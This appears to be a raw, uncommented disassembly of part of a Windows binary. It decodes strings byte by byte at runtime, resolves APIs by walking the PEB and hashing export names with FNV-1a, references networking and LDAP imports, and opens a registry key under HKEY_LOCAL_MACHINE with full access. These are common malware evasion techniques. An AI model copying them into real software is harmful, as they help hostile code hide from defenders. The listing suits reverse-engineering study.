jmp 0x140121baa
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140122548
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140122572
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140122575
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140122599
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x1401225c3
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401224ba
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x140122486
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14012209d
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14012236b
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x560], bl
jmp 0x1401226a7
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140122212
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x1401221da
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14012219f
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14012236b
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140122648
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012228a
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401225e3
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401225c3
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140121f3a
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140122575
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122572
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140122548
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140122246
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14012245f
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401222e9
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x140122439
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140122382
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x140121ffa
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14012254a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140122272
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x140122698
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14012229c
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140122483
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401222c8
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401225e3
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401221a1
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401224e0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140122306
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140121ed0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140122332
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140122572
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14012234f
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x140121f3a
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401221dc
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122698
jne 0x1401223a7
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140122698
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401223d1
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140122486
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401223ee
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401224ba
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140122418
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x140122599
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140122214
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140121ed0
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x560]
sub bl, al
sub bl, 0x50
jmp 0x140121f47
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x560]
add bl, r8b
add bl, dl
jmp 0x140122616
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x140122486
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401225e3
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401225c3
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122575
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140121ed0
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x560], cl
add r10, r15
sub r9, r15
jmp 0x1401226a7
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 2
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x560], cl
add rdi, r10
jmp 0x1401225e3
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401226a7
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x560], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x560], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140122698
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x560]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140121b97
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x140121b94
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x140121b84
lea r12, [rbp + 0x145e308]
jmp 0x14012270e
lea r12, [rbp + 0x136aa46]
jmp 0x14012270e
lea r12, [rbp + 0x560]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14012287c
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012278a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14012277c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012276b
cmp r8d, esi
jne 0x140122859
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140122859
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140122859
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401227de
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401227d3
cmp edx, r14d
je 0x1401227f4
test r9d, r9d
jne 0x1401227be
jmp 0x140122859
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14012286f
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14012286f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140122836
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140122828
jmp 0x14012284c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14012283f
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012286c
cmp qword [rdi + 0x30], 0
jne 0x14012273a
xor r10d, r10d
mov qword [0x1404fc178], r10
mov r15d, 1
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140122a22
xor esi, esi
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x60], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x140122934
mov rdx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x140122926
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140122915
cmp r9d, esi
jne 0x140122a0b
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x140122a0b
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140122a0b
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, r12d
jmp 0x140122988
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x14012297b
cmp r8d, r14d
je 0x14012299e
test r10d, r10d
jne 0x140122968
jmp 0x140122a0b
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140122a13
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140122a13
mov esi, r12d
mov r14d, r12d
jmp 0x1401229dc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401229ce
jmp 0x1401229f1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401229e4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401228e1
mov qword [0x1404fc118], rdx
mov r13d, 0xeced0b92
jmp 0x140122a28
mov r12d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140122b8e
xor esi, esi
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140122aab
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140122a9d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140122a8c
cmp r8d, esi
jne 0x140122b72
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x140122b72
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140122b72
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, rdi
mov edx, r12d
jmp 0x140122afd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140122af2
cmp edx, r14d
je 0x140122b13
test r9d, r9d
jne 0x140122adf
jmp 0x140122b72
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140122b87
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140122b87
mov esi, r12d
mov r14d, r12d
jmp 0x140122b51
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140122b43
jmp 0x140122b66
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140122b59
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140122b85
cmp qword [rbx + 0x30], 0
jne 0x140122a5e
xor ebx, ebx
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x140122cfa
xor esi, esi
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140122c17
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140122c09
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140122bf8
cmp r8d, esi
jne 0x140122cde
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140122cde
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140122cde
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140122c69
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140122c5e
cmp edx, r14d
je 0x140122c7f
test r9d, r9d
jne 0x140122c4b
jmp 0x140122cde
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140122cf3
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140122cf3
mov esi, r12d
mov r14d, r12d
jmp 0x140122cbd
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140122caf
jmp 0x140122cd2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140122cc5
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140122cf1
cmp qword [rdi + 0x30], 0
jne 0x140122bca
xor edx, edx
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140122e5d
xor esi, esi
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140122d7a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140122d6c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140122d5b
cmp r8d, esi
jne 0x140122e41
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140122e41
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140122e41
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140122dcc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140122dc1
cmp edx, r14d
je 0x140122de2
test r9d, r9d
jne 0x140122dae
jmp 0x140122e41
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140122e56
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140122e56
mov esi, r12d
mov r14d, r12d
jmp 0x140122e20
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140122e12
jmp 0x140122e35
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140122e28
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140122e54
cmp qword [rdi + 0x30], 0
jne 0x140122d2d
xor edx, edx
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140122fc0
xor esi, esi
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140122edd
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140122ecf
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140122ebe
cmp r8d, esi
jne 0x140122fa4
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140122fa4
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140122fa4
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140122f2f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140122f24
cmp edx, r14d
je 0x140122f45
test r9d, r9d
jne 0x140122f11
jmp 0x140122fa4
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140122fb9
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140122fb9
mov esi, r12d
mov r14d, r12d
jmp 0x140122f83
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140122f75
jmp 0x140122f98
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140122f8b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140122fb7
cmp qword [rdi + 0x30], 0
jne 0x140122e90
xor edx, edx
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], 0
jne 0x140123124
xor esi, esi
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012303e
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140123030
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012301f
cmp r8d, esi
jne 0x140123107
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140123107
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140123107
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140123090
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123085
cmp edx, r14d
je 0x1401230a6
test r9d, r9d
jne 0x140123072
jmp 0x140123107
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x14012311d
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x14012311d
mov esi, r12d
mov r14d, r12d
jmp 0x1401230e4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401230d6
jmp 0x1401230fa
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x1401230ed
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012311a
cmp qword [rdi + 0x30], 0
jne 0x140122ff1
xor r9d, r9d
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140123197
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
cmp rcx, rdx
je 0x14012317e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012315f
cmp r8d, 0x610c0de3
je 0x1401231e3
mov r9, qword [r9]
cmp r9, r10
je 0x14012318d
cmp qword [r9 + 0x30], 0
jne 0x140123147
xor r8d, r8d
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor r9d, r9d
mov r10d, dword [r11 + r8 + 0x20]
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r12d
mov al, byte [rdx]
inc rdx
test al, al
je 0x1401231de
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
